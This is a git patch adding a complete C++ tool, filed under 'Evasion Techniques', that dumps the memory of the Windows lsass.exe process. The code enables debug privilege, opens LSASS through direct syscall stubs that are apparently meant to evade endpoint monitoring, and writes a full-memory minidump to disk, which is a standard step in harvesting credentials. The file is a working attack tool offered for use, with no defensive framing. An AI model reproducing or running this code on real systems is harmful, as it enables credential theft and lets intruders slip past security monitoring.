From ffdd3d59dc90e65a2cfc0b59b90ce3ed00352b76 Mon Sep 17 00:00:00 2001
From: Joas A Santos <34966120+CyberSecurityUP@users.noreply.github.com>
Date: Mon, 13 Jan 2025 19:09:47 -0300
Subject: [PATCH] Create LsassDump.cpp

---
 .../LsassDump/LsassDumpSyscall/LsassDump.cpp  | 127 ++++++++++++++++++
 1 file changed, 127 insertions(+)
 create mode 100644 Evasion Techniques/LsassDump/LsassDumpSyscall/LsassDump.cpp

diff --git a/Evasion Techniques/LsassDump/LsassDumpSyscall/LsassDump.cpp b/Evasion Techniques/LsassDump/LsassDumpSyscall/LsassDump.cpp
new file mode 100644
index 0000000..44fc5a2
--- /dev/null
+++ b/Evasion Techniques/LsassDump/LsassDumpSyscall/LsassDump.cpp	
@@ -0,0 +1,127 @@
+#include "syscall.h"
+#include <iostream>
+#include <windows.h>
+#include <tlhelp32.h>
+#include <dbghelp.h>
+#include <tchar.h>
+
+#pragma comment(lib, "Dbghelp.lib")
+
+using namespace std;
+
+#ifndef STATUS_SUCCESS
+#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)  // Manually define STATUS_SUCCESS if not already defined
+#endif
+
+void InitializeSystemCalls() {
+    g_ZwOpenProcess = ZwOpenProcess10;
+    g_ZwClose = ZwClose10;
+    g_ZwWriteVirtualMemory = ZwWriteVirtualMemory10;
+    g_ZwProtectVirtualMemory = ZwProtectVirtualMemory10;
+    g_ZwQuerySystemInformation = ZwQuerySystemInformation10;
+    g_NtCreateFile = NtCreateFile10;
+}
+
+bool IsElevated() {
+    HANDLE hToken = NULL;
+    TOKEN_ELEVATION elevation;
+    DWORD dwSize;
+    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
+        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
+            CloseHandle(hToken);
+            return elevation.TokenIsElevated != 0;
+        }
+        CloseHandle(hToken);
+    }
+    return false;
+}
+
+bool EnableDebugPrivilege() {
+    HANDLE hToken;
+    TOKEN_PRIVILEGES tp;
+    LUID luid;
+    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
+        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
+            tp.PrivilegeCount = 1;
+            tp.Privileges[0].Luid = luid;
+            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+            if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
+                CloseHandle(hToken);
+                return GetLastError() == ERROR_SUCCESS;
+            }
+        }
+        CloseHandle(hToken);
+    }
+    return false;
+}
+
+DWORD GetLsassPID() {
+    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    PROCESSENTRY32 pe = { sizeof(pe) };
+    if (Process32First(hSnapshot, &pe)) {
+        do {
+            if (_tcsicmp(pe.szExeFile, _T("lsass.exe")) == 0) {
+                CloseHandle(hSnapshot);
+                return pe.th32ProcessID;
+            }
+        } while (Process32Next(hSnapshot, &pe));
+    }
+    CloseHandle(hSnapshot);
+    return 0;
+}
+
+bool CreateMiniDump(HANDLE processHandle, DWORD processId) {
+    HANDLE hFile = CreateFile(_T("c:\\temp\\lsass.dmp"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (hFile == INVALID_HANDLE_VALUE) {
+        cout << "Failed to create dump file.\n";
+        return false;
+    }
+
+    BOOL success = MiniDumpWriteDump(processHandle, processId, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
+    CloseHandle(hFile);
+
+    if (!success) {
+        cout << "Failed to dump lsass.exe.\n";
+        return false;
+    }
+    cout << "Dump created successfully.\n";
+    return true;
+}
+
+int main() {
+    InitializeSystemCalls();
+
+    if (!IsElevated()) {
+        cout << "You need elevated privileges to run this tool!\n";
+        return 1;
+    }
+
+    EnableDebugPrivilege();
+
+    DWORD lsassPID = GetLsassPID();
+    if (lsassPID == 0) {
+        cout << "Failed to find lsass.exe.\n";
+        return 1;
+    }
+
+    HANDLE hLsass;
+    OBJECT_ATTRIBUTES objAttr;
+    CLIENT_ID clientId = { reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(lsassPID)), nullptr };
+
+    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
+    NTSTATUS status = g_ZwOpenProcess(&hLsass, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &clientId);
+
+    if (status != STATUS_SUCCESS) {
+        cout << "Failed to open lsass.exe with error: " << hex << status << endl;
+        return 1;
+    }
+
+    // Create a minidump of the lsass.exe process
+    if (!CreateMiniDump(hLsass, lsassPID)) {
+        g_ZwClose(hLsass);
+        return 1;
+    }
+
+    g_ZwClose(hLsass);
+    return 0;
+}